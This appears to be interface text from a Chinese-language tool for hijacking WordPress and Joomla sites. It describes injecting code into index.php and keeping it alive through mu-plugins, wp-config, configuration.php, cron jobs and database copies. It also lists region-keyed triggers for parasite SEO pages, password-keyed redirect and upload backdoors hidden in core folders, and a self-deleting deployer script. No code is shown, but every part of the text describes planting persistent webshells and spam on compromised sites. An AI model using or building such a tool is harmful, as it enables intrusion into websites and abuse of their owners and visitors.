目标 CMS
🌀
WordPress
注入 index.php · 恢复：mu-plugin / wp-config / cron / 库副本
地区 · 寄生虫触发表
🇫🇷
法国 · FR
achat · produit · shop
▼
恢复机制 · WordPress
C · 配置常驻自愈
configuration.php 每次请求必载
Joomla 专用
A/B 是常驻恢复点，被删或升级覆盖后会自动写回；T/D 是额外兜底
载荷位置
uploads · wp-includes · wp-admin 深层分布
上传包 = 执行器 (wp-cache.php) + 数据 (cache.dat)，适合 deploy.php 被拦截时使用
四件套上传包
A 跳转后台·WP 引导 · B 跳转后台·轻量构造 · C 文件上传·表单 · D 文件上传·直传
跳转固定 ?id=密码，上传固定 ?u=1&id=密码
随「生成部署器」一并投放：deploy.php 执行后把四个文件写到各自落点，回显地址并可一键复制，随后自毁